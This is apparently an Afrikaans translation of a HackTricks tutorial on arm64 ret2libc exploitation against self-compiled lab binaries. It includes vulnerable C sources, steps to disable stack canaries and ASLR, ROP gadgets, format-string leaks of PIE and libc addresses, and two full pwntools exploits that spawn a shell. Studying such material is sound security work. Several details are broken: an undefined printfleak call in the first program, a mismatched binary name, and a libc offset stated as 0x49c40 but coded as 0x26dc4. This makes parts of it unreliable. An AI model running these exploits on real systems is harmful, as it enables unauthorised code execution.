Ret2lib + Printf leak - arm64

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Ret2lib - NX omseiling met ROP (geen ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompilering sonder kanarie:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Vind offset

x30 offset

Die skep van 'n patroon met pattern create 200, dit gebruik, en die soek vir die offset met pattern search $x30 wys dat die offset 108 (0x6c) is.

Deur na die ontleedde hooffunksie te kyk, kan ons sien dat ons graag wil spring na die instruksie om direk na printf te spring, waarvan die offset vanaf waar die binêre lê is 0x860 is:

Vind stelsel en /bin/sh string

Aangesien die ASLR uitgeskakel is, sal die adresse altyd dieselfde wees:

Vind Gadgets

Ons moet die adres na die string /bin/sh in x0 hê en system aanroep.

Deur rooper te gebruik, is 'n interessante gadget gevind:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Hierdie gadget sal x0 laai vanaf $sp + 0x18 en dan die adresse van x29 en x30 laai vanaf sp en spring na x30. Dus met hierdie gadget kan ons die eerste argument beheer en dan spring na system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASLR & PIE omseil met printf lekke van die stok

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompileer sonder kanarie:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE en ASLR maar geen kanarie

  • Ronde 1:

  • Lek van PIE vanaf stapel

  • Misbruik bof om terug te gaan naar hoofd

  • Ronde 2:

  • Lek van libc vanaf de stapel

  • ROP: ret2system

Printf lekke

Deur 'n breekpunt te stel voordat printf geroep word, is dit moontlik om te sien dat daar adresse om na die binêre terug te keer in die stapel en ook libc adresse is:

Deur verskillende offsette te probeer, kan die %21$p 'n binêre adres lek (PIE omseil) en %25$p kan 'n libc adres lek:

Deur die gelekte libc adres met die basisadres van libc af te trek, is dit moontlik om te sien dat die offset van die gelekte adres vanaf die basis 0x49c40 is.

x30 offset

Sien die vorige voorbeeld aangesien die bof dieselfde is.

Vind Gadgets

Soos in die vorige voorbeeld, moet ons in x0 die adres na die string /bin/sh hê en system aanroep.

Deur rooper te gebruik, is nog 'n interessante gadget gevind:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Hierdie gadget sal x0 laai vanaf $sp + 0x78 en dan die adresse van x29 en x30 laai vanaf sp en spring na x30. Dus met hierdie gadget kan ons die eerste argument beheer en dan spring na system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated